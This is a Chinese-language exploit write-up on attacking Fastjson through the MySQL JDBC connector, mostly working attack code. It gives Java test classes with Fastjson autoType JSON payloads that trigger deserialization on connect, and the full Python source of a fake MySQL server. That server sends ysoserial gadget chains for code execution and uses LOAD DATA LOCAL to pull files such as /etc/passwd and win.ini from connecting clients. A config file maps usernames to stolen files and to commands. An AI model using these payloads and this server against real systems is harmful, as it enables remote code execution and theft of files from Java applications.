Fastjson Mysql JDBC 反序列化
Mysql 利用链
SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化
mysql 5.1.11
Test1.java
import com.alibaba.fastjson.JSON;
public class Test1 {
public static void main(String[] args){
String json2="{ \"name\": { \"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"127.0.0.1\", \"portToConnectTo\": 3306, \"info\": { \"user\": \"CommonsCollections5\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }, \"databaseToConnectTo\": \"dbname\", \"url\": \"\" } }";
// String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false\" } } }}";
// String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false\" } } }}";
Object obj1 = JSON.parse(json2);
System.out.println(obj1);
}
}
依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.12</version>
</dependency>
本地搭建恶意服务器
server.py
import asyncio
import logging
import signal
import random
signal.signal(signal.SIGINT, signal.SIG_DFL)
from mysqlproto.protocol import start_mysql_server
from mysqlproto.protocol.base import OK, ERR, EOF
from mysqlproto.protocol.flags import Capability
from mysqlproto.protocol.handshake import HandshakeV10, HandshakeResponse41, AuthSwitchRequest
from mysqlproto.protocol.query import ColumnDefinition, ColumnDefinitionList, ResultSet,FileReadPacket
import subprocess
import time
@asyncio.coroutine
def accept_server(server_reader, server_writer):
task = asyncio.Task(handle_server(server_reader, server_writer))
@asyncio.coroutine
def process_fileread(server_reader, server_writer,filename):
print("Start Reading File:"+filename.decode('utf8'))
FileReadPacket(filename).write(server_writer)
yield from server_writer.drain()
#server_writer.reset()
#time.sleep(3)
isFinish = False
outContent=b''
outputFileName="%s/%s___%d___%s"%(fileOutputDir,server_writer.get_extra_info('peername')[:2][0],int(time.time()),filename.decode('ascii').replace('/','_').replace('\\','_').replace(':','_'))
while not isFinish:
packet = server_reader.packet()
while True:
fileData = (yield from packet.read())
#当前packet没有未读取完的数据
if fileData == '':
break
#空包,文件读取结束
if fileData == b'':
isFinish = True
break
outContent+=fileData
if len(outContent) == 0:
print("Nothing had been read")
else:
if displayFileContentOnScreen:
print("========File Conntent Preview=========")
try:
print(outContent.decode('utf8')[:1000])
except Exception as e:
#print(e)
print(outContent[:1000])
print("=======File Conntent Preview End==========")
if saveToFile:
with open(outputFileName,'wb') as f:
f.write(outContent)
print("Save to File:"+outputFileName)
#OK(capability, handshake.status).write(server_writer)
#server_writer.close()
return
@asyncio.coroutine
def handle_server(server_reader, server_writer):
handshake = HandshakeV10()
handshake.write(server_writer)
print("Incoming Connection:"+str(server_writer.get_extra_info('peername')[:2]))
yield from server_writer.drain()
switch2clear=False
handshake_response = yield from HandshakeResponse41.read(server_reader.packet(), handshake.capability)
username = handshake_response.user
print("Login Username:"+username.decode("ascii"))
#print("<=", handshake_response.__dict__)
#检测是否需要切换到mysql_clear_password
if username.endswith(b"_clear"):
switch2clear = True
username = username[:-len("_clear")]
capability = handshake_response.capability_effective
if (Capability.PLUGIN_AUTH in capability and
handshake.auth_plugin != handshake_response.auth_plugin
and switch2clear):
print("Switch Auth Plugin to mysql_clear_password")
AuthSwitchRequest().write(server_writer)
yield from server_writer.drain()
auth_response = yield from server_reader.packet().read()
print("<=", auth_response)
result = OK(capability, handshake.status)
result.write(server_writer)
yield from server_writer.drain()
while True:
server_writer.reset()
packet = server_reader.packet()
try:
cmd = (yield from packet.read(1))[0]
except Exception as _:
#TODO:可能会出问题 ┓( ´∀` )┏
return
pass
print("<=", cmd)
query =(yield from packet.read())
if query != '':
query = query.decode('ascii')
if username.startswith(b"fileread_"):
yield from process_fileread(server_reader, server_writer,username[len("fileread_"):])
result = OK(capability, handshake.status)
#return
elif username in fileread_dict:
#query =(yield from packet.read())
yield from process_fileread(server_reader, server_writer,fileread_dict[username])
result = OK(capability, handshake.status)
#return
elif username not in yso_dict and not username.startswith(b"yso_"):
#query =(yield from packet.read())
yield from process_fileread(server_reader, server_writer,random.choice(defaultFiles))
result = OK(capability, handshake.status)
elif cmd == 1:
result =ERR(capability)
#return
elif cmd == 3:
#query = (yield from packet.read()).decode('ascii')
if 'SHOW VARIABLES'.lower() in query.lower():
print("Sending Fake MySQL Server Environment Data")
ColumnDefinitionList((ColumnDefinition('d'),ColumnDefinition('e'))).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(("max_allowed_packet","67108864")).write(server_writer)
ResultSet(("system_time_zone","UTC")).write(server_writer)
ResultSet(("time_zone","SYSTEM")).write(server_writer)
ResultSet(("init_connect","")).write(server_writer)
ResultSet(("auto_increment_increment","1")).write(server_writer)
result = EOF(capability, handshake.status)
elif username in yso_dict:
#Serial Data
print("Sending Presetting YSO Data with username "+username.decode('ascii'))
ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(("11",yso_dict[username],"2333")).write(server_writer)
result = EOF(capability, handshake.status)
elif username.startswith(b"yso_"):
query =(yield from packet.read())
_,yso_type,yso_command = username.decode('ascii').split("_")
print("Sending YSO data with params:%s,%s" % (yso_type,yso_command))
content = get_yso_content(yso_type,yso_command)
ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(("11",content,"2333")).write(server_writer)
result = EOF(capability, handshake.status)
elif query.decode('ascii') == 'select 1':
ColumnDefinitionList((ColumnDefinition('database'),)).write(server_writer)
EOF(capability, handshake.status).write(server_writer)
ResultSet(('test',)).write(server_writer)
result = EOF(capability, handshake.status)
else:
result = OK(capability, handshake.status)
else:
result = ERR(capability)
result.write(server_writer)
yield from server_writer.drain()
yso_dict={
}
def get_yso_content(yso_type,command):
popen = subprocess.Popen([javaBinPath, '-jar', ysoserialPath, yso_type, command], stdout=subprocess.PIPE)
file_content = popen.stdout.read()
return file_content
def addYsoPaylod(username,yso_type,command):
yso_dict[username] = get_yso_content(yso_type,command)
logging.basicConfig(level=logging.INFO)
fileOutputDir="./fileOutput/"
displayFileContentOnScreen = True
saveToFile=True
fileread_dict={
}
ysoserialPath = './ysoserial.jar'
javaBinPath = 'java'
defaultFiles = []
if __name__ == "__main__":
import json
with open("config.json") as f:
data = json.load(f)
if 'config' in data:
config_data = data['config']
if 'ysoserialPath' in config_data:
ysoserialPath = config_data['ysoserialPath']
if 'javaBinPath' in config_data:
javaBinPath = config_data['javaBinPath']
if 'fileOutputDir' in config_data:
fileOutputDir = config_data['fileOutputDir']
if 'displayFileContentOnScreen' in config_data:
displayFileContentOnScreen = config_data['displayFileContentOnScreen']
if 'saveToFile' in config_data:
saveToFile = config_data['saveToFile']
import os
try:
os.makedirs(fileOutputDir)
except FileExistsError as _:
pass
for k,v in data['fileread'].items():
if k == '__defaultFiles':
defaultFiles = v
for i in range(len(defaultFiles)):
defaultFiles[i] = defaultFiles[i].encode('ascii')
else:
fileread_dict[k.encode('ascii')] = v.encode('ascii')
#print(fileread_dict)
if "yso" in data:
for k,v in data['yso'].items():
addYsoPaylod(k.encode('ascii'),v[0],v[1])
#print(yso_dict)
loop = asyncio.get_event_loop()
f = start_mysql_server(handle_server, host=None, port=3306)
print("===========================================")
print("MySQL Fake Server")
print("Author:fnmsd(https://blog.csdn.net/fnmsd)")
print("Load %d Fileread usernames :%s" % (len(fileread_dict),list(fileread_dict.keys())))
print("Load %d yso usernames :%s" % (len(yso_dict),list(yso_dict.keys())))
print("Load %d Default Files :%s" % (len(defaultFiles),defaultFiles))
print("Start Server at port 3306")
loop.run_until_complete(f)
loop.run_forever()
config.json
{
"config":{
"ysoserialPath":"./ysoserial.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"Jdk7u21":["Jdk7u21","open /System/Applications/Calculator.app"],
"CommonsCollections10":["CommonsCollections10","open /System/Applications/Calculator.app"],
"CommonsCollections5":["CommonsCollections5","open /System/Applications/Calculator.app"]
}
}
mysql 6.0.2/6.0.3(反序列化)
tes1.java
import com.alibaba.fastjson.JSON;
public class Test1 {
public static void main(String[] args){
// String json2="{ \"name\": { \"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"127.0.0.1\", \"portToConnectTo\": 3306, \"info\": { \"user\": \"CommonsCollections5\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }, \"databaseToConnectTo\": \"dbname\", \"url\": \"\" } }";
String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=CommonsCollections5\" } } }}";
// String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false\" } } }}";
Object obj1 = JSON.parse(json2);
System.out.println(obj1);
}
}
依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.2</version>
</dependency>
@jingqi
参考:
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/1aker/Fastjson-pentest
Pickmea,lets do it!